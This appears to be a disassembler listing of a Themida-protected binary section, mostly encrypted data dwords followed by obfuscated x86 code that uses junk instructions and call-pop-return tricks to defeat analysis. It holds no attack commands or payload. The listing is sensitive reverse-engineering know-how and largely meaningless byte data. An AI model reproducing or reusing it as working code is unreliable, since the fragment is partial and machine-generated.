		dd 1329BF66h, 0A19BD83h, 0F000615h, 5685h, 358D0900h, 0E8061501h
		dd 0Ah,	585E3289h, 0B16EF3E2h, 9529B7D4h, 6153425h, 5CBD8359h
		dd 61803h, 2D850Fh, 58B90000h, 0B62E770Fh, 0F5BD83B3h
		dd 61527h, 19840Fh, 952B0000h, 6151821h, 265DBD0Bh, 85C70615h
		dd 61511C1h, 0
		dd 66F8BF0Fh, 0DA80DB8Ch, 4C3F61Bh, 478840Fh, 13E80000h
		dd 0C4000000h, 764E929Ch, 0FF4786ABh, 0F2692041h, 50F47834h
		dd 8D0F15F7h, 2, 895AD38Bh, 150141BDh, 0B585C706h, 6152Dh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 6E96C355h, 0BA91287Eh,	0B2BD8061h
		dd 617FEh, 3850Fh, 0B70F0000h, 0C585C6CBh, 47061509h, 8668F88Bh
		dd 66E3E45Bh, 3D23D281h, 0DE5BD8Bh, 0B5FF0615h,	6151685h
		dd 0A8BCBA66h, 3B38858Dh, 0B5890615h, 6151371h,	0BD8BD0FFh
		dd 6152965h, 10468h, 1DBD8B00h,	8D06151Ah, 152B499Dh, 0B1952B06h
		dd 53061533h, 38A0Fh, 0BF0F0000h, 0FD0FFC8h, 68Dh, 0C1B58900h
		dd 89061508h, 152B3D95h, 49858D06h, 6606152Bh, 0AFF5D181h
		dd 13E850h, 3E070000h, 5539FFAFh, 3542F4D2h, 0B85F5A70h
		dd 5132FAD0h, 458D8B5Bh, 5A061534h, 0FE64858Dh,	0EE80617h
		dd 0C1000000h, 679E226Bh, 3A0CD4D8h, 0F2ABE2E0h, 9D29508Eh
		dd 6152325h, 66505F59h,	858DCF8Bh, 617F537h, 50D18B66h
		dd 1019589h, 95FF0615h,	6152F29h, 13810Fh, 0EE90000h, 0E4000000h
		dd 633CF005h, 6A1DF768h, 0B3DE9184h, 0CC483ADh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0DAC35242h, 0DC42058Eh
		dd 0F22429Bh, 8068006Ah, 6A000000h, 6A006A03h, 6800h, 858D8000h
		dd 617F537h, 0F995FF50h, 89061510h, 17FE4785h, 0C585C606h
		dd 47061509h, 0B15E8768h, 85B5FFC7h, 8D061516h,	153B3885h
		dd 6AD0FF06h, 47B5FF00h, 0FF0617FEh, 6850FD0h, 81000000h
		dd 0A7E027D7h, 57006A2Ch, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 83433136h, 66D6BD6Dh
		dd 2DC1E181h, 37D03Dh, 3E830F00h, 66000000h, 0B5FFD18Bh
		dd 617FE47h, 11A1BD8Bh,	95FF0615h, 6150DCDh, 8850Fh, 8B510000h
		dd 15051D8Dh, 0B3E95F06h, 0E8000000h, 0Eh, 1DA51D68h, 0DF8A140h
		dd 8ADB7C6Fh, 0EA8A9206h, 47B5FF5Ah, 500617FEh,	8398D89h
		dd 0FF5F0615h, 150DCD95h, 25958906h, 6A061523h,	418D8B00h
		dd 6A061506h, 0BDBD8B00h, 6A06152Dh, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0E9736FAh
		dd 8148DB8Ah, 0A8D9BCF7h, 0B9006A4Eh, 1CD3F0ADh, 8B0F006Ah
		dd 6, 75D9D89h,	6A0615h, 8DD6BF0Fh, 17FE4B85h, 50FA8B06h
		dd 33999D89h, 95FF0615h, 61510F9h, 8BB1EA80h, 0FFF883D6h
		dd 117850Fh, 840F0000h,	6, 0A204C281h, 858D7D56h, 617B518h
		dd 0C820Fh, 8E0F0000h, 6, 0A159501h, 0D0FF0615h, 6AD78Bh
		dd 58A0Fh, 0A3B90000h, 6A3A8B82h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 520CEC8Fh
		dd 2CC65677h, 0ABD28166h, 3DDF818Ah, 6A22A8C3h,	8B006A00h
		dd 151E918Dh, 8B006A06h, 6AD78BCAh, 0DD9D8900h,	8D061506h
		dd 17FE4B85h, 9D015006h, 6150315h, 10F995FFh, 0E9600615h
		dd 0Ch,	0A3B6F159h, 0DAD80D83h,	0FE940BE6h, 1675BD8Bh
		dd 83610615h, 850FFFF8h, 65h, 8D1EC580h, 17F853B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8DEF63D1h, 17A3E185h, 0FE806h, 0C85D0000h, 0D6FE16C4h
		dd 14CAC07Eh, 0BEB81DCDh, 0D7B96629h, 0BD8B5A06h, 6150479h
		dd 0B529D0FFh, 6152665h, 0F56006Ah, 84h, 95FF5A00h, 6152669h
		dd 478589F9h, 0E90617FEh, 6, 3FA4349Eh,	6AF9FA9Eh, 3F858D00h
		dd 0F0617FEh, 586h, 0E7816600h,	66506FD7h, 6A8F68B9h, 0D9BD8B04h
		dd 8D061507h, 150B8D85h, 3D953106h, 0F06152Ah, 0B8Bh, 85896000h
		dd 61511A1h, 61F3BF0Fh,	8D0B5150h, 6151D9Dh, 52006A59h
		dd 6A5FD78Bh, 0D7B70F00h, 0C980016Ah, 0DD8501E7h, 0FF061501h
		dd 17FE47B5h, 0A8D0F06h, 60000000h, 0E40695BEh,	0F38B661Eh
		dd 0F8B70F61h, 97D95FFh, 0D78B0615h, 1BE2E9F5h,	0C08B0000h
		dd 8F5BD83h, 75000615h,	0ADBD8309h, 61503h, 53501974h
		dd 0D2B8C08Bh, 89000007h, 15138585h, 9E9D8D06h,	0FF0617AAh
		dd 83585BD3h, 1503ADBDh, 17740006h, 0D2B85350h,	89000007h
		dd 15138585h, 8D9D8D06h, 0FF0617A7h, 0F585BD3h,	68Eh, 0CD958B00h
		dd 0E9061527h, 6, 3ABEAB4Eh, 890FA84Ah,	2, 12E92AB2h, 0AF000000h
		dd 80E25FC4h, 94BDCBE7h, 0C86CFD38h, 0CA8D2A7Dh, 89C08BBFh
		dd 15189DB5h, 0B585C706h, 106152Dh, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 6A5EC355h, 8169C1C7h, 81CB9293h, 0CFE551EFh,	49BD330Bh
		dd 68061503h, 0CEE4E7B8h, 1789B5FFh, 858D0615h,	6153B38h
		dd 8589D0FFh, 615221Dh,	0A3858Dh, 8D500618h, 18036085h
		dd 1685006h, 0FF800000h, 15221D95h, 75C00B06h, 4185C70Ah
		dd 106152Ah, 68000000h,	0C005DBD4h, 1789B5FFh, 858D0615h
		dd 6153B38h, 8589D0FFh,	6152391h, 0F2F0858Dh, 0FF500617h
		dd 151685B5h, 1D95FF06h, 0B06150Eh, 8B0B74C0h, 0A3858DD8h
		dd 50061802h, 858DD3FFh, 61802A3h, 9388366h, 85C70A75h
		dd 615295Dh, 1,	16DD95FFh, 0FF250615h, 83000000h, 0A7305F8h
		dd 216985C7h, 10615h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0EE061EC3h, 0EB0F955Ch
		dd 0E2F680D6h, 4AD9523h, 93B20615h, 0FEB2BD80h,	0F000617h
		dd 4E84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0B78FFA97h, 0F5D91D5h, 1689h, 11E900h
		dd 44820000h, 0DFFF6556h, 0D6E94A85h, 5AC12607h, 83240A96h
		dd 18035CBDh, 840F0006h, 0Dh, 0E9FE8B66h, 19E4h, 0CFB70F51h
		dd 5DBD8359h, 61529h, 0DF850Fh,	85010000h, 615002Dh, 0FE7C858Dh
		dd 0C9810617h, 1DFCA11Ah, 0CBBF0F50h, 8B66016Ah, 0E8006AFEh
		dd 14h,	96DDD959h, 0F41E8FEBh, 62B2C6Eh, 254E891h, 633D326Eh
		dd 19850Fh, 14E90000h, 57000000h, 90F3CC98h, 0C100D504h
		dd 0D51E7EECh, 5649D822h, 5935A8D0h, 95FF006Ah,	615339Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0DEC35141h
		dd 897257B9h, 17FEA685h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 1F06061h, 0C5A5550Ah
		dd 0FF6A4BA1h, 33B59D89h, 0B5FF0615h, 617FEA6h,	95FF9FB5h
		dd 61508BDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0EC35242h, 51BF66B4h, 0B7858D39h, 600617F2h, 61FFB70Fh
		dd 8E85250h, 1B000000h,	24F01DD5h, 0FB65FB8h, 86h, 0FF5A5F00h
		dd 1507D595h, 0A1CBA06h, 85892F26h, 617F341h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 98C35242h, 0C06D0CFDh
		dd 0BF0F25A3h, 0C4858DCEh, 0E90617F2h, 0Ah, 0FA54C0A8h
		dd 0D52B31AEh, 895088ADh, 150949BDh, 41B5FF06h,	660617F3h
		dd 0B1D3C781h, 0E1D95FFh, 6A0615h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 9B6B68C3h, 0A70DA023h, 89CD3F69h, 15185D85h,	32858D06h
		dd 0F0617F3h, 28Eh, 50CF8B00h, 26158D89h, 0B5FF0615h, 617F341h
		dd 619589h, 95FF0615h, 6150E1Dh, 8589EE8Ah, 617F355h, 13E9h
		dd 774C8600h, 0D8CC0F20h, 24C0D843h, 8D815B08h,	720B54AFh
		dd 0F311858Dh, 958B0617h, 61511ADh, 60B96660h, 0B506125h
		dd 15098995h, 41B5FF06h, 0F0617F3h, 0B83h, 5820F00h, 66000000h
		dd 1D52F281h, 0E1D95FFh, 6A0615h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 962984C3h, 0FF9045Fh
		dd 8589F9B7h, 617F34Dh,	0F304858Dh, 90B20617h, 8E950h
		dd 84D10000h, 1901D176h, 0B5FF03A2h, 617F341h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 2BC35141h, 9D18D89h
		dd 95FF0615h, 6150E1Dh,	11658D33h, 85890615h, 617F351h
		dd 2B058D8Bh, 858D0615h, 617F31Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 9EC35747h, 5EDD9155h, 50FAB70Fh
		dd 0FFFFED80h, 17F341B5h, 0F1858906h, 0FF06152Ch, 150E1D95h
		dd 0F88B6606h, 5CD8589h, 6A0615h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 5A596EC3h, 2830FFEh
		dd 0B2000000h, 75950367h, 8D06151Dh, 17F2D385h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0ED08F60Fh, 0FDBD695h, 683h,	2DBD8900h, 8106152Fh, 910308DAh
		dd 8D31507Eh, 6150385h,	0F341B5FFh, 9DB90617h, 0FF3F4E76h
		dd 150E1D95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 68BF5759h, 890F05B0h, 17F34585h
		dd 8B665106h, 858D59CAh, 617F2E2h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0E6C35343h,	0E0171F47h, 0DAD586D9h
		dd 226D8D89h, 6A500615h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 4C7EC352h, 53F20ECFh
		dd 0F7127BCh, 0B5FFCEBFh, 617F341h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0D8C35040h,	69958BD6h, 89061527h
		dd 1512B5BDh, 1D95FF06h, 0B606150Eh, 498589EEh,	0F80617F3h
		dd 10468h, 70E78100h, 8D3DE800h, 17F3D985h, 8D8B5106h
		dd 61533D1h, 95295059h,	6151575h, 0F4DD858Dh, 6A0617h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0B172FDC3h, 56F0FF30h, 84B0EA81h, 81666856h,	5070BEDFh
		dd 960CBA66h, 4B195FFh,	8D030615h, 6151CDDh, 0FC085F5h
		dd 685h, 1D8D8B00h, 80061530h, 17FEB2BDh, 850F0006h, 44h
		dd 11E9h, 2D941000h, 0D93F155Fh, 9345C10Bh, 418779D6h
		dd 21E95418h, 6A000015h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 66C7C352h, 0D823D3E8h
		dd 9529A8A0h, 61521E1h,	295DBD83h, 0F000615h, 2F85h, 9E900h
		dd 0DFD30000h, 4DA9BA09h, 83E294AFh, 18035CBDh,	840F0006h
		dd 7Ch,	0BE8h, 0C6AB3600h, 296CECEFh, 6487E6AEh, 5A8FF680h
		dd 0F376858Dh, 0E9520617h, 10h,	4ACC41F3h, 0D33E63AAh
		dd 0C4E4F2B9h, 0B66D5272h, 149AE95Ah, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0E9E06FC3h, 36h, 19F18531h, 12E80615h, 0E8000000h, 1B3EDB50h
		dd 615BA846h, 0BBF2A698h, 400D5BC4h, 75BD2931h,	5F061511h
		dd 0F361858Dh, 8F0F0617h, 6, 1199958Bh,	0E9500615h, 7
		dd 9AA9619Ah, 8DAB2206h, 17F3D985h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 43101100h
		dd 0B26CDFD0h, 8D890731h, 6152AE5h, 0BD83F950h,	615295Dh
		dd 14840F00h, 89000000h, 151A05BDh, 0FF858D06h,	0FC0617F4h
		dd 11E9h, 8DEE8A00h, 17F4E885h,	3800F06h, 80000000h, 8050EFF1h
		dd 858DD5D2h, 617F537h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 87C35343h, 8945CA13h,	152B259Dh, 15830F06h
		dd 0E9000000h, 10h, 2128AE13h, 5A803F06h, 0F050178Fh, 0FF221291h
		dd 5950150h, 0FF061510h, 152F2995h, 758D8B06h, 83061517h
		dd 958B10C4h, 615073Dh,	12E9h, 0B1329A00h, 0AC4E48F0h
		dd 0CD2F135Ah, 11AC9B96h, 8BD8CB24h, 5958BC0h, 8306150Ah
		dd 1508F5BDh, 9750006h,	3ADBD83h, 74000615h, 8B535019h
		dd 7D3B8C0h, 85890000h,	6151385h, 0AA9E9D8Dh, 0D3FF0617h
		dd 0BD83585Bh, 61503ADh, 50177400h, 7D3B853h, 85890000h
		dd 6151385h, 0A78D9D8Dh, 0D3FF0617h, 8053585Bh,	805FFACAh
		dd 0C08BACC5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	0D4C35242h, 0C37F10FDh,	8FC3526h, 0F7816623h, 0BD81C5FFh
		dd 617F361h, 6165726Fh,	0A1840Fh, 858D0000h, 617F3D9h
		dd 16858D50h, 500617F5h, 0F537858Dh, 0FF500617h, 152F2995h
		dd 0CC48306h, 9C585C6h,	68440615h, 96A3184Fh, 1685B5FFh
		dd 858D0615h, 6153B38h,	0D88BD0FFh, 0F537858Dh,	0FF500617h
		dd 61858DD3h, 500617F3h, 0F3D9858Dh, 83500617h,	15295DBDh
		dd 8740006h, 0F4FF858Dh, 6EB0617h, 0F4E8858Dh, 8D500617h
		dd 17F53785h, 95FF5006h, 6152F29h, 0B910C483h, 53881ECh
		dd 0DF99529h, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0FFF815C3h, 1516DD95h, 11E906h
		dd 663E0000h, 76B48FE1h, 0EEF36281h, 63E2A867h,	66E37676h
		dd 0AE50EF81h, 0FF25h, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 658D89C3h, 8306152Fh
		dd 830F05F8h, 50h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0C5C35040h, 0A79F0013h, 6985C72Bh, 1061521h
		dd 8B000000h, 15178DBDh, 95858D06h, 8B0617F3h, 150655BDh
		dd 8BE906h, 0CEB60000h,	6870Fh,	0BD8B0000h, 61524B1h, 295DBD83h
		dd 0F000615h, 5E84h, 8F18100h, 8D42490Ch, 17F3C085h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 10C602BCh, 3B9CB9AEh, 3AE92F1Ah, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 75EC356h, 1F0C877Eh,	9614E582h, 8DD08B66h, 17F3A285h
		dd 6870F06h, 23000000h,	150BB995h, 0D5858906h, 6A0617F3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0A858C356h, 0C1B9D08Dh, 0D78166EBh, 0BD83D61Fh
		dd 615295Dh, 15850F00h,	0B6000000h, 5CBD83A1h, 61803h
		dd 11840Fh, 950B0000h, 6150831h, 10ABE9h, 1DBD8900h, 0E9061515h
		dd 4EEh, 8BCEB70Fh, 81FC60C0h, 0CA7C46DEh, 0BD836157h
		dd 61508F5h, 83097500h,	1503ADBDh, 19740006h, 0C08B5350h
		dd 7D4B8h, 85858900h, 8D061513h, 17AA9E9Dh
		dd 5BD3FF06h, 0ADBD8358h, 61503h, 53501774h, 7D4B8h, 85858900h
		dd 8D061513h, 17A78D9Dh, 5BD3FF06h, 0ADF28058h,	0CDB58B60h
		dd 0B061520h, 1520D5B5h, 0C08B6106h, 8880Fh, 8B510000h
		dd 1517FDBDh, 3F685906h, 81000F00h, 0E77297CAh,	6A006A6Ch
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 37BC357h,	6AF5B4h, 2CC18166h, 0CD9D8994h
		dd 0FF061516h, 15185D95h, 958B6006h, 6150465h, 28D0Fh
		dd 56B70000h, 0FC08561h, 1485h,	0FE900h, 96C10000h, 0F6E35487h
		dd 0B73A9D84h, 0E8B26D96h, 5985897Fh, 6A0617F3h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0CFEBC351h, 38E895B7h, 6AF98BF1h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 9E3468EAh
		dd 0B1885141h, 818D892Eh, 89061509h, 1511519Dh,	6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0D5D5C353h, 689F9BB7h, 0C9818B93h, 4BAB52C9h
		dd 1459958Bh, 6A0615h, 6AFE8Bh,	910056BAh, 66006A23h, 858DFB8Bh
		dd 617F537h, 71B860FCh,	60716F68h, 0E9F6BF0Fh, 7, 0A7F4DD17h
		dd 6127C866h, 958B5061h, 6150981h, 0BF0F016Ah, 0E8016ACAh
		dd 0Ch,	1CD5383Ch, 0AA389BC2h, 8D4A41C9h, 12E9h, 0AAAF4300h
		dd 0A125B356h, 26A9252Bh, 0D40C8E43h, 5F54D4A0h, 6A016Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0A8AE93C3h, 68D38B73h, 0F01FFh, 13E9h, 0B5EC8600h, 0CF5B1ECCh
		dd 42F5EA27h, 0D173F1ECh, 0F78B0874h, 1A2EBA66h, 295DBD83h
		dd 0F000615h, 6684h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 303BE573h, 6D7D9D99h
		dd 858DC707h, 617F3B6h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 68C35343h, 0F6DB58Fh,	8B158CB3h, 19E9CAh
		dd 0CE90000h, 0C2000000h, 0E242DBB4h, 0B3A438C5h, 8D6F49F3h
		dd 17F38C85h, 50D68B06h, 2F61B589h, 0E6800615h,	0E3BF5053h
		dd 0FF6C5FCDh, 17F359B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 8DD4974Ch
		dd 25958944h, 0FF061511h, 17F34595h, 0BF60F806h, 162F773Dh
		dd 3DA8B966h, 0FC08561h, 0E85h,	0B7C98000h, 5FE9h, 45BD8900h
		dd 8906152Bh, 17F35D85h, 2D9D8906h, 0FF061502h,	17F35DB5h
		dd 7EF28106h, 0FF4EAEDDh, 1505CD95h, 8D8B5006h,	6150245h
		dd 0D5BD8B59h, 8506151Dh, 25850FC0h, 6A000000h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 867AC356h, 95237A30h, 6152C51h, 810F106Ah, 6, 16F59D89h
		dd 0BD830615h, 615295Dh, 36840F00h, 0F5000000h,	858DCE8Bh
		dd 617F3B6h, 26818D0Bh,	2EE90615h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 89FAC350h, 15172595h, 8C858D06h, 810617F3h, 3D045FD1h
		dd 0E9525066h, 0Ch, 7898F354h, 9539518h, 1A097F96h, 59B5FF5Fh
		dd 0F0617F3h, 386h, 88D28000h, 0BE6AC981h, 95FF0F87h, 617F351h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0ACC35343h
		dd 0B1958B60h, 8B061533h, 152A9D95h, 0C0856106h, 7850Fh
		dd 0B5310000h, 61520CDh, 5D8589FCh, 810617F3h, 3131E4F1h
		dd 6A006A33h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 266BC357h, 9A4D026Dh, 8B607722h
		dd 15239985h, 61605306h, 9D896159h, 61525B9h, 3419D09h
		dd 6A0615h, 3445958Bh, 0B5FF0615h, 617F35Dh, 831B589h
		dd 95FF0615h, 617F349h,	156D8589h, 0C0850615h, 3B850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0E36325C3h, 0B3D3F837h, 6052FAF0h, 551B589h
		dd 0B0600615h, 2BBF66BFh, 81616129h, 0C486F5D2h, 5DB5FF7Ah
		dd 800617F3h, 95FF18DEh, 61505CDh, 2965BD2Bh, 5E90615h
		dd 23000000h, 0CCAEAFA7h, 850FC085h, 2,	6AF08Ah, 8182A4BFh
		dd 806865h, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 160424h, 56460000h, 6DB210C3h, 4C70BF66h, 8E8h, 15B11100h
		dd 9B94871h, 13E98Ch, 8C870000h, 761A8E29h, 58139D9Fh
		dd 0EA1BA201h, 0B531B021h, 36A5AFFh, 1C7DB529h,	6A0615h
		dd 6A23B5h, 0BA42EA81h,	68605Fh, 52C00000h, 0FE9h, 355E5900h
		dd 63C5AF24h, 71D07543h, 52EA32BDh, 0D5B5FF5Ah,	600617F3h
		dd 10E9h, 4AA57800h, 0A954989h,	0F2573961h, 0DB74BA82h
		dd 6880F02h, 0F000000h,	86h, 95FF6100h,	61510F9h, 0FFF883F9h
		dd 471850Fh, 60600000h,	61F1B70Fh, 21519529h, 0FF610615h
		dd 17FE4385h, 0CA8B6606h, 141DBD8Bh, 0BD830615h, 617FE43h
		dd 3E840F02h, 89000003h, 152CD58Dh, 3B858D06h, 60005B24h
		dd 85D8D8Bh, 8D890615h,	6152C81h, 8BD0FF61h, 15059995h
		dd 8E858D06h, 8B005B1Eh, 150681BDh, 36D18006h, 0BD8BD0FFh
		dd 6152695h, 0FE9h, 6DB6F300h, 12C53CD2h, 2BC0A5CEh, 989E6DCAh
		dd 8D0FC08Bh, 1, 0BD83F5F9h, 61508F5h, 83097500h, 1503ADBDh
		dd 19740006h, 0C08B5350h, 7D8B8h, 85858900h, 8D061513h
		dd 17AA9E9Dh, 5BD3FF06h, 0ADBD8358h, 61503h, 53501774h
		dd 7D8B8h, 85858900h, 8D061513h, 17A78D9Dh, 5BD3FF06h
		dd 75958B58h, 8A061511h, 0A98529F3h, 8B061524h,	0A19529C0h
		dd 8B061511h, 150A11BDh, 3F6806h, 70BF000Fh, 5633B650h
		dd 15FCB966h, 89006A5Ah, 150A8D9Dh, 6A006A06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0DF4AC357h, 3B9966E6h, 185D95FFh, 0D7810615h, 53FA49Dh
		dd 5E9C085h, 0F3000000h, 85DCF414h, 0C8F0Fh, 7E90000h
		dd 0EA000000h, 5BDC0282h, 858953E5h, 617F359h, 0F085B966h
		dd 0F01FF68h, 0EDBD2B00h, 8306150Ch, 15295DBDh,	840F0006h
		dd 2Dh,	6830Fh,	8D890000h, 6150D19h, 0F3B6858Dh, 0BD8B0617h
		dd 6150079h, 0E5BD8Bh, 2CE90615h, 60000000h, 26BDB58Bh
		dd 0CF8B0615h, 8C858D61h, 6A0617F3h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 50D8C353h
		dd 880Fh, 0B5FF0000h, 617F359h,	68B0Fh,	85090000h, 61506F1h
		dd 0FFD78B66h, 17F35195h, 0C58D0306h, 89061522h, 17F35D85h
		dd 80526006h, 8B5EE6E7h, 85C761D7h, 6151881h, 0
; ---------------------------------------------------------------------------
		mov	di, 0CC58h
		xor	di, 0AEAEh
		cmp	dword ptr [ebp+617F35Dh], 0
		jz	loc_5AC28E
		pusha
		jmp	loc_5AC156
; ---------------------------------------------------------------------------
		dd 4D68E934h, 66C229F8h, 8878A87Dh
		db 7Eh,	82h
; ---------------------------------------------------------------------------


loc_5AC156:				; CODE XREF: Themida_:005AC143j
		popa
		lea	eax, [ebp+617F63Bh]
		or	[ebp+6150D1Dh],	ebx
		push	eax
		mov	dx, 18D2h
		push	1
		add	[ebp+61501FDh],	eax
		push	dword ptr [ebp+617F35Dh]
		call	dword ptr [ebp+617F355h]
		mov	[ebp+6151005h],	esi
		push	dword ptr [ebp+617F35Dh]
		mov	edi, [ebp+6153479h]
		call	dword ptr [ebp+61505CDh]
		mov	[ebp+6152EC9h],	edi
		push	0F01FFh
		mov	edi, [ebp+6151A31h]
		cmp	dword ptr [ebp+615295Dh], 0
		jz	loc_5AC20B
		jno	loc_5AC1DF
		call	sub_5AC1D1
		out	0E6h, al
		iret
; ---------------------------------------------------------------------------
		dd 0E68ABBF8h, 0DAB4037Bh, 0B371AE3Ah, 0BA2114CEh
		db 11h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5AC1D1	proc near		; CODE XREF: Themida_:005AC1B8p
		jmp	sub_5AC1DE
sub_5AC1D1	endp

; ---------------------------------------------------------------------------
		and	ecx, [eax+42DD6DA3h]
		inc	esp
		xchg	eax, esi

; =============== S U B	R O U T	I N E =======================================



sub_5AC1DE	proc near		; CODE XREF: sub_5AC1D1j
		pop	edi


loc_5AC1DF:				; CODE XREF: Themida_:005AC1B2j
		lea	eax, [ebp+617F3B6h]
		movzx	edi, bx
		jmp	loc_5AC214
; ---------------------------------------------------------------------------
		db 8Bh,	0BDh, 1Dh
		dd 0E8061530h, 12h, 7094B5C4h, 5CEB2E3h, 663BC382h, 44748D84h
; ---------------------------------------------------------------------------
		rcl	byte ptr [esi],	1
		pop	ecx


loc_5AC20B:				; CODE XREF: Themida_:005AC1ACj
		lea	eax, [ebp+617F38Ch]
		movsx	ecx, bx


loc_5AC214:				; CODE XREF: sub_5AC1DE+Aj
		push	eax
		mov	cx, dx
		push	dword ptr [ebp+617F359h]
		mov	[ebp+6150BB9h],	ebx
		call	dword ptr [ebp+617F351h]
		mov	di, 85C5h
		mov	edi, 253DB0C2h
		mov	[ebp+617F35Dh],	eax
		push	0
		push	eax
		call	sub_5AC244
		and	[eax-3Dh], bl
sub_5AC1DE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5AC244	proc near		; CODE XREF: sub_5AC1DE+5Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5AC244	endp

; ---------------------------------------------------------------------------
		dd 0BFBB6B48h, 31F9AE3Dh, 15155185h, 5DB5FF06h,	660617F3h
		dd 6EDAEA81h, 0F34D95FFh, 9D310617h, 6150161h, 0F35DB5FFh
		dd 95030617h, 61519B9h,	5CD95FFh, 0BA660615h
; ---------------------------------------------------------------------------
		leave
		inc	ebp


loc_5AC28E:				; CODE XREF: Themida_:005AC13Cj
		jmp	near ptr dword_5AB1B8+7CFh
; ---------------------------------------------------------------------------
		mov	dh, 0Ah
		push	dword ptr [ebp+617FEA6h]
		push	0
		push	esi
		call	sub_5AC2A6
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AC2A6	proc near		; CODE XREF: Themida_:005AC29Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5AC2A6	endp

; ---------------------------------------------------------------------------
		mov	ds:7EB47740h, eax
		push	ss
		call	dword ptr [ebp+61502C9h]
		xor	di, 0F2F2h
		mov	eax, [ebp+6150489h]
		mov	ecx, edi
		mov	[ebp+61509D9h],	ecx
		jmp	loc_5AC832
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5AC2E5
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AC2E5	proc near		; CODE XREF: Themida_:005AC2DDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5AC2E5	endp
